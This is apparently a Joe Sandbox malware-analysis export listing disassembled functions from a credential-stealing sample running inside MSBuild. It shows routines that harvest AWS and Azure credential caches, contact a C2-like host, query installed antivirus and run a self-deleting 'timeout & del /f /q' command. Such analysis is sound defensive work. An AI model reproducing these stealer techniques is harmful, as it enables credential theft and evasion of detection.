Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File_memsetwsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 780282842-974132213
Opcode ID: b2de320116ee48312a564d7ea93f2006b998ac76d702aa901ef76f6d1a7c5bf4
Instruction ID: 84896bacdfb64059cc425482cd21a2e289ba5d14c04e476c3e3a3401a8d995fd
Opcode Fuzzy Hash: b2de320116ee48312a564d7ea93f2006b998ac76d702aa901ef76f6d1a7c5bf4
Instruction Fuzzy Hash: E841C671D4021C7BDB14EB60EC47FDD7378AB09304F6044AAB605A7090EABDAB888F58

Function 0040ABE5 Relevance: 33.3, APIs: 22, Instructions: 315stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC8A
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AD94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD9B
StrCmpCA.SHLWAPI(?,004373DC,00000000), ref: 0040AE4C
StrCmpCA.SHLWAPI(?,004373E0), ref: 0040AE74
lstrcatA.KERNEL32(00000000,?), ref: 0040AE98
lstrcatA.KERNEL32(00000000,004373E4), ref: 0040AEA4
lstrcatA.KERNEL32(00000000,?), ref: 0040AEAE
lstrcatA.KERNEL32(00000000,004373E8), ref: 0040AEBA
lstrcatA.KERNEL32(00000000,?), ref: 0040AEC4
lstrcatA.KERNEL32(00000000,004373EC), ref: 0040AED0
lstrcatA.KERNEL32(00000000,?), ref: 0040AEDA
lstrcatA.KERNEL32(00000000,004373F0), ref: 0040AEE6
lstrcatA.KERNEL32(00000000,?), ref: 0040AEF0
lstrcatA.KERNEL32(00000000,004373F4), ref: 0040AEFC
lstrcatA.KERNEL32(00000000,?), ref: 0040AF06
lstrcatA.KERNEL32(00000000,004373F8), ref: 0040AF12
lstrcatA.KERNEL32(00000000,?), ref: 0040AF1C
lstrcatA.KERNEL32(00000000,004373FC), ref: 0040AF28
lstrlenA.KERNEL32(00000000), ref: 0040AF7A
lstrlenA.KERNEL32(?), ref: 0040AF95
DeleteFileA.KERNEL32(?), ref: 0040AFD8

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 4621e81a25ec7d59100a49f80eb619f1591ab482fb232c2b5530b01b4120e834
Instruction ID: fa65740cd413e8b43b9f1f3498c9fbd0cc5fbb49866f189318ef85710a93ab9e
Opcode Fuzzy Hash: 4621e81a25ec7d59100a49f80eb619f1591ab482fb232c2b5530b01b4120e834
Instruction Fuzzy Hash: D4C15D32904208AFDF15EBA1ED4A9DD7B76EF04309F20102AF501B30A1DB7A6E959F95

Function 00417151 Relevance: 29.0, APIs: 8, Strings: 8, Instructions: 1029networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CloseHandle.KERNEL32(00000000,?,?,?,?,0041869F), ref: 004171ED
OpenEventA.KERNEL32(001F0003,00000000,?,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004171FC
CreateDirectoryA.KERNEL32(?,00000000,004366DA), ref: 0041771A
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004177DB
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004177F4

Part of subcall function 00404B2E: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
Part of subcall function 00404B2E: StrCmpCA.SHLWAPI(?), ref: 00404BEB

Part of subcall function 004139C2: StrCmpCA.SHLWAPI(?,block,?,?,00417854), ref: 004139D7
Part of subcall function 004139C2: ExitProcess.KERNEL32 ref: 004139E2

Part of subcall function 00405F39: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
Part of subcall function 00405F39: StrCmpCA.SHLWAPI(?), ref: 00405FF6

Part of subcall function 00413198: strtok_s.MSVCRT ref: 004131B7
Part of subcall function 00413198: strtok_s.MSVCRT ref: 0041323A

Sleep.KERNEL32(000003E8), ref: 00417BAA

Part of subcall function 00405F39: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
Part of subcall function 00405F39: HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
Part of subcall function 00405F39: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

CreateEventA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,0041869F), ref: 00417210

Part of subcall function 0041257F: __EH_prolog3_catch_GS.LIBCMT ref: 00412589
Part of subcall function 0041257F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F41,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Part of subcall function 0041257F: Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Part of subcall function 0041257F: Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
Part of subcall function 0041257F: StrCmpCA.SHLWAPI(?), ref: 004125DC
Part of subcall function 0041257F: CloseHandle.KERNEL32(00000000), ref: 004125F0

CloseHandle.KERNEL32(?), ref: 00418110

Strings

.exe, xrefs: 00417659
cowod., xrefs: 00417F8B
_DEBUG.zip, xrefs: 00418045
http://, xrefs: 00417F67
hopto, xrefs: 00417FAF
.exe, xrefs: 00417F14
org, xrefs: 00417FF7
566ac7bdeaf763bbaf70aa6d5667c804, xrefs: 0041781C

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InternetOpen$CloseCreateHandlelstrcpy$EventHeapProcessProcess32strtok_s$AllocConnectDirectoryExitFirstH_prolog3_catch_HttpNameNextOptionRequestSleepSnapshotToolhelp32Userlstrcatlstrlen
String ID: .exe$.exe$566ac7bdeaf763bbaf70aa6d5667c804$_DEBUG.zip$cowod.$hopto$http://$org
API String ID: 305159127-1119754696
Opcode ID: ba00fea598c8f9b7eb501b1df4ade5e40b70523d29f0704592d13bea502c8da9
Instruction ID: 4ceb97e4bc8bd76a369d1d2619bbd46815a38cac9c71142bc76181b4c2ec3f3b
Opcode Fuzzy Hash: ba00fea598c8f9b7eb501b1df4ade5e40b70523d29f0704592d13bea502c8da9
Instruction Fuzzy Hash: AC9244315483419FC620FF26D94268EB7E1FF84308F51482FF58463191DBB8AA8D8B9B

Function 004135A8 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 262stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004135EA
StrCmpCA.SHLWAPI(?,true), ref: 004136AC

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

lstrcpyA.KERNEL32(?,?), ref: 0041376E
lstrcpyA.KERNEL32(?,00000000), ref: 0041379F
lstrcpyA.KERNEL32(?,00000000), ref: 004137DB
lstrcpyA.KERNEL32(?,00000000), ref: 00413817
lstrcpyA.KERNEL32(?,00000000), ref: 00413853
lstrcpyA.KERNEL32(?,00000000), ref: 0041388F
lstrcpyA.KERNEL32(?,00000000), ref: 004138CB
strtok_s.MSVCRT ref: 0041398F

Strings

true, xrefs: 004136A6
zA, xrefs: 004139B4
false, xrefs: 004136C5

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: false$true$zA
API String ID: 2116072422-752889570
Opcode ID: 66d3b3fef956730522b2c25cb3aeaabc49fb5568f228d64d75f124df70e663f1
Instruction ID: f88d8e482521469d959c87b5d2553cfe3082ffd239838e960e1cb591ae3ba6ed
Opcode Fuzzy Hash: 66d3b3fef956730522b2c25cb3aeaabc49fb5568f228d64d75f124df70e663f1
Instruction Fuzzy Hash: 37B16DB5900218ABCF64EF55DC89ACA77B5BF18305F0001EAE549A7261EB75AFC4CF48

Function 00405237 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 161networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
RtlAllocateHeap.NTDLL(00000000), ref: 00405285
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
StrCmpCA.SHLWAPI(?), ref: 004052C1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405394
InternetReadFile.WININET(?,?,00000400,?), ref: 004053DA
InternetCloseHandle.WININET(?), ref: 00405439
InternetCloseHandle.WININET(?), ref: 00405445
InternetCloseHandle.WININET(?), ref: 00405451

Strings

GET, xrefs: 00405325
lyA, xrefs: 00405250, 00405457, 0040539E

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET$lyA
API String ID: 442264750-528342985
Opcode ID: 93394d2a30f133874182854a60609d119d756d54e14361920abb4e7fdad1e848
Instruction ID: 7cffea58bcaab2b22dbdd47c1de4c71017d1c0f04b9407cf92f8036c36bebf65
Opcode Fuzzy Hash: 93394d2a30f133874182854a60609d119d756d54e14361920abb4e7fdad1e848
Instruction Fuzzy Hash: 685119B1900A28AFDF21DF64DC84BEFBBB9EB08346F0050E6E509A2290D6755F858F54

Function 00411997 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114comCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041199E
CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00411D42: LocalAlloc.KERNEL32(00000040,00000005,?,?,00411A80,?), ref: 00411D4A
Part of subcall function 00411D42: CharToOemW.USER32(?,00000000), ref: 00411D56

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

VariantClear.OLEAUT32(?), ref: 00411A8B

Strings

displayName, xrefs: 00411A6F
Select * From AntiVirusProduct, xrefs: 00411A23
WQL, xrefs: 00411A28
Unknown, xrefs: 00411A99
Unknown, xrefs: 00411AA0
root\SecurityCenter2, xrefs: 004119F0
Unknown, xrefs: 00411AB4

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prolog3_catchInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 4288110179-315474579
Opcode ID: 4442dc1975a9fab6dcc5a7b23437fd681a9a23585e5f68a612e680f3410bdaea
Instruction ID: a052c58cf411f7e98e6331d271807bd97e667b65bf600afed1fc3e3d3cff73f9
Opcode Fuzzy Hash: 4442dc1975a9fab6dcc5a7b23437fd681a9a23585e5f68a612e680f3410bdaea
Instruction Fuzzy Hash: 90314F70A04245BBCB20DB91DC49EEFBF7CEFC9B10F20465AF611A61A0C6B85941CB68

Function 00401284 Relevance: 24.1, APIs: 16, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004012A7
_memset.LIBCMT ref: 004012B6
lstrcatA.KERNEL32(?,0043AAA4), ref: 004012D0
lstrcatA.KERNEL32(?,0043AAA8), ref: 004012DE
lstrcatA.KERNEL32(?,0043AAAC), ref: 004012EC
lstrcatA.KERNEL32(?,0043AAB0), ref: 004012FA
lstrcatA.KERNEL32(?,0043AAB4), ref: 00401308
lstrcatA.KERNEL32(?,0043AAB8), ref: 00401316
lstrcatA.KERNEL32(?,0043AABC), ref: 00401324
lstrcatA.KERNEL32(?,0043AAC0), ref: 00401332
lstrcatA.KERNEL32(?,0043AAC4), ref: 00401340
lstrcatA.KERNEL32(?,0043AAC8), ref: 0040134E
lstrcatA.KERNEL32(?,0043AACC), ref: 0040135C
lstrcatA.KERNEL32(?,0043AAD0), ref: 0040136A
lstrcatA.KERNEL32(?,0043AAD4), ref: 00401378

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

ExitProcess.KERNEL32 ref: 004013E3

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocateComputerExitName
String ID:
API String ID: 2891980384-0
Opcode ID: 2857db7161bcc320a30419e20b2b34e424e7c04c5a94567df98be0c40a6a9c3d
Instruction ID: 9778931569992fdfa2ae274a5f191432572d6dba79c88691fb85554d5ade8f97
Opcode Fuzzy Hash: 2857db7161bcc320a30419e20b2b34e424e7c04c5a94567df98be0c40a6a9c3d
Instruction Fuzzy Hash: 9A41A9B2D4422C57DB20EBB19C59FDB7BAC9F18310F5405A3E8D9E3181D67C9A84CB58

Function 00411203 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 155registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
wsprintfA.USER32 ref: 004112DD
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC
RegCloseKey.ADVAPI32(?), ref: 00411446
RegCloseKey.ADVAPI32(?), ref: 00411466
RegCloseKey.ADVAPI32(?), ref: 00411472

Strings

- , xrefs: 004113E6
%s\%s, xrefs: 004112D7
?, xrefs: 00411263

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Closelstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 2394436309-3278919252
Opcode ID: 3d69115a6f8724683417ca135766935035775c138346bf0c7f6cb84cd66cf9a6
Instruction ID: 4bdd8942e51cb3c4ef1bdab2b95b8e79246b76881c5f67d30fe8b157efa9521a
Opcode Fuzzy Hash: 3d69115a6f8724683417ca135766935035775c138346bf0c7f6cb84cd66cf9a6
Instruction Fuzzy Hash: 8A61F7B590022C9BEF21DB15DD84EDAB7B9AB44708F1042E6A608A2121DF35AFC9CF54

Function 00418381 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004183A6
_memset.LIBCMT ref: 004183B5
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 004183CA

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

ShellExecuteEx.SHELL32(?), ref: 00418566
_memset.LIBCMT ref: 00418575
_memset.LIBCMT ref: 00418587
ExitProcess.KERNEL32 ref: 00418597

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

" & exit, xrefs: 004184EA
" & rd /s /q "C:\ProgramData\, xrefs: 00418443
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 004184A0
" & exit, xrefs: 00418499
/c timeout /t 10 & del /f /q ", xrefs: 004183F5

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
